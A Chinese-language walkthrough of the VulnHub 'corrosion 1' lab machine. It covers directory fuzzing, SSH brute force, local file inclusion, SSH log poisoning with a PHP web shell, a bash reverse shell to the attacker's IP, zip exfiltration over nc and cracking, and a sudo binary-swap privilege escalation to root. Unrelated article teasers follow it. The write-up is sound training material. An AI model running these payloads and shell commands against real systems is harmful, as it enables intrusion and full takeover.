vulnhub靶场之corrosion靶场1

news/2024/11/27 13:33:50/

corrosion靶场1

前言

靶机:corrosion靶场1

攻击:kali

主机发现

使用arp-scan -l发现主机IP,这里直接查看虚拟机需要登录,不过官方并没有提供密码,所以,扫描出IP地址

在这里插入图片描述

信息收集

使用nmap查看端口及服务

在这里插入图片描述

访问80端口,apache2默认界面,访问页面源码,没有有价值的东西

在这里插入图片描述

目录扫描,扫出两个路径

在这里插入图片描述

访问bolg-post路径查看,

一段留言和一张图片,页面源码中提供当前路径下有image.jpg图像,其他暂无

在这里插入图片描述

那么对该路径下,再做一次扫描

ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://192.168.1.30/blog-post/FUZZ -e .jpg,txt,html,png,xml 

在这里插入图片描述

发现两个重定向文件,访问uploads后发现还是原界面,一段文字,一张图,无其他有用东西

不过,访问archives,发现有一个php文件

在这里插入图片描述

下载,留着后面做分析,但是这里使用wget下载,发现是空的,打开发现,原来该PHP代码在网页中是一点资源都没有,全都是PHP代码,所以无法下载,不过记住了

访问另一个tasks,有一个task_todo.txt文件,直接下载并查看内容

在这里插入图片描述

发现文件内容是需要完成的任务,表示应该还没有完成的,不过这里需要记住,可能设置的是定时任务。

在这里插入图片描述

信息小结:

  1. 22端口采用OpenSSH 8.4p1 协议 2.0
  2. 80端口采用apache 2.4.46
  3. 系统为linux 4.x|5.x
  4. 80端口网址中包含名称randy
  5. 80端口/blog-post/archives目录下有一个PHP文件
  6. 80端口/tasks目录下有TXT文件

漏洞寻找利用

可以先使用hydra对名字randy尝试进行ssh爆破,先放在这里,然后去寻找其他的方法

爆破不行,考虑其他方法,发现之前那个PHP文件虽然不能下载,但是一般PHP文件都会有参数接收的。可能会有传参,使用burp进行爆破尝试,测试发现这个参数不管是什么都不会出错,说明不在乎

那么假设这里的参数可以是本地文件包含的话,进行测试,/etc/passwd

因为我这里虚拟机中的kali使用burp爆破有点卡,所以在物理机进行测试

这里确定是参数为file

在这里插入图片描述

可以使用,那么之前的tasks_todo.txt文件中有提到修改auth.log的权限,去访问看看,在其中可以看到登录信息,这是之前使用hydra爆破留下的痕迹,当时用户的用户名就是randy,可以发现这里留有痕迹

在这里插入图片描述

既然留下用户名登录时的痕迹,是否可以写一个webshell进入,然后连接成功呢, 进行测试

这里首先测试发现kali一直提示存在不合理的字符

ssh '<?php system($_GET['cmd']);?>'@192.168.1.30

所以,采用别名方法绕过,编辑~/.ssh/config文件,在其中编写

Hostname myserverHostname 192.168.1.30User	'<?php system($_GET['cmd']);?>'

这时候再使用ssh连接即可

ssh myserver

在这里插入图片描述

测试是否成功,注意前面是通过file的传参,所以这里要使用&调用cmd测试

在这里插入图片描述

尝试进行一个反弹shell

在kali上开启监听

nc -lvvp 9999
echo "bash -i >& /dev/tcp/192.168.1.16/9999 0>&1" | bash
然后把上面的echo一串进行URL编码处理

在这里插入图片描述

提权

使用find查看有无可用的SUID权限

find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述

发现有sudo,进行尝试,发现都不行

在这里插入图片描述

使用find寻找一些关键字吧,如userpassback等,因为数据太多,最终在back*搜索中,找到一个可疑目录

在这里插入图片描述

切换到目录发现有一个user开头的,很可以,进行下载

在这里插入图片描述

尝试解压,发现需要密码,测试发现靶机有nc可用,直接通过nc下载

在这里插入图片描述

在靶机上,通过nc把zip包发送给kali地址的7777端口
nc 192.168.1.16 7777 < user_backup.zip
在kali上开启,通过监听7777端口,并把传递信息保存在user_backup.zip
nc -lv -p 7777 > user_backup.zip

使用fcrackzip进行破解

fcarckzip -u -D -p /usr/share/wordlists/rockyou.txt user_backup.zip
-u 暴力破解
-D 字典模式
-p 指定字典

在这里插入图片描述

或者使用zip2john把zip文件改为john可识别的类型

在这里插入图片描述

然后使用john进行破解

在这里插入图片描述

知道密码后进行解压,获取ssh密钥以及密码和一个c语言编程

在这里插入图片描述

查看/home目录下有哪些用户

在这里插入图片描述

尝试使用ssh连接randy,并用获取到的密码登录

在这里插入图片描述

使用find查找SUID权限

find / -perm -u=s -type f 2>/dev/null

发现和上面一样,有一个sudo比较特殊,找到一个可以以root执行的文件,且当前用户不被允许以root运行/bin/bash

在这里插入图片描述

发现没有写权限,但是有s也就是特权,想起在之前解压文件时,提供了一个名称一样的文件

在这里插入图片描述

查看之前的文件,可以看到是进行一些设置,0表示特权,比如root就是0,整体就是设置提权的,然后执行下面的命令,如果在其中添加一个调动shell的是否可行

在这里插入图片描述

修改代码

#include<unistd.h>
#include<stdlib.h>	//c语言中的标准头文件
void main()
{ setuid(0);setgid(0);system("/bin/bash -i");system("cat /etc/hosts");system("/usr/bin/uname -a");}

然后在靶机上创建一个c文件,并把上面内容复制其中,发现vim不可用,可以使用其他的,如vi、nano

在这里插入图片描述

然后使用gcc命令进行编译,注意,编译出的文件要与可执行特权的文件名一致easysysinfo

而且可以看到这里的s特权已经没有了

在这里插入图片描述

但是使用sudo -l却表示,这里还是可以的

在这里插入图片描述

sudo执行文件,发现提权成功

在这里插入图片描述

总结

  1. 目录扫描时若发现有php类似脚本文件,可能会有参数传值,可以进行参数爆破
  2. 利用文件包含获取新的bash
  3. 压缩包的密码破解,可以使用工具fcrackzip或者john套件
  4. 提权时,仔细观察具有SUID的,假设sudo,这里就是通过sudo -l来查询,然后同名替换,执行提权

http://www.ppmy.cn/news/1550361.html

相关文章

ArraList和LinkedList区别

文章目录 一、结构不同二、访问速度三、插入和删除操作的不同1、决定效率有两个因素&#xff1a;数据量和位置。2、普遍说法是“LinkedList添加删除快”&#xff0c;这里是有前提条件的 四、内存占用情况五、使用场景六、总结 一、结构不同 LinkedList&#xff1a;它基于双向链…

读《Effective Java》笔记 - 条目9

条目9&#xff1a;与try-finally 相比&#xff0c;首选 try -with -resource 什么是 try-finally&#xff1f; try-finally 是 Java 中传统的资源管理方式&#xff0c;通常用于确保资源&#xff08;如文件流、数据库连接等&#xff09;被正确关闭。 BufferedReader reader n…

android集成FFmpeg步骤以及常用命令,踩坑经历

1、入坑第一步:首先集成的库必须正确。最好是有ndk的,FFmpeg有许多个版本,我才开始接触的时候随便选了一个,一般的 方法没有问题。但是涉及到需要使用libx264等条件进行编码时,老是报错,网上搜索资料也没有人说需要ndk的支持才行。这个问题困扰了好几天,怎么试不行,最后…

uniapp跨域问题解决方案

uniapp跨域问题解决方案 引言 在使用 uni-app 本地开发 H5> 平台时&#xff0c;需要使用浏览器进行调试&#xff0c;而浏览器会有跨域的问题。比如直接通过本地IP地址去访问开发中的页面&#xff0c;同时这个页面会调一些现有的接口时&#xff0c;就面临着跨域的问题。 解决…

Spring Boot中配置Flink的资源管理

在 Spring Boot 中配置 Flink 的资源管理&#xff0c;需要遵循以下步骤&#xff1a; 添加 Flink 依赖项 在你的 pom.xml 文件中&#xff0c;添加 Flink 和 Flink-connector-kafka 的依赖项。这里以 Flink 1.14 版本为例&#xff1a; <!-- Flink dependencies --><de…

C语言解析命令行参数

原文地址&#xff1a;C语言解析命令行参数 – 无敌牛 欢迎参观我的个人博客&#xff1a;无敌牛 – 技术/著作/典籍/分享等 C语言有一个 getopt 函数&#xff0c;可以对命令行进行解析&#xff0c;下面给出一个示例&#xff0c;用的时候可以直接copy过去修改&#xff0c;很方便…

数据结构 (11)串的基本概念

一、串的定义 1.串是由一个或者多个字符组成的有限序列&#xff0c;一般记为&#xff1a;sa1a2…an&#xff08;n≥0&#xff09;。其中&#xff0c;s是串的名称&#xff0c;用单括号括起来的字符序列是串的值&#xff1b;ai&#xff08;1≤i≤n&#xff09;可以是字母、数字或…

嵌入式linux系统中图像处理基本方法

目录 2.1 BMP图像处理 2.1.1 BMP文件格式解析 2.1.2 代码实现:将BMP文件解析为RGB格式,在LCD上显示 2.2 JPEG图像处理 2.2.1 JPEG文件格式和libjpeg编译 2.2.2 libjpeg接口函数的解析和使用 2.2.3 使用libjpeg把JPEG文件解析为RGB格式,在LCD上显示 …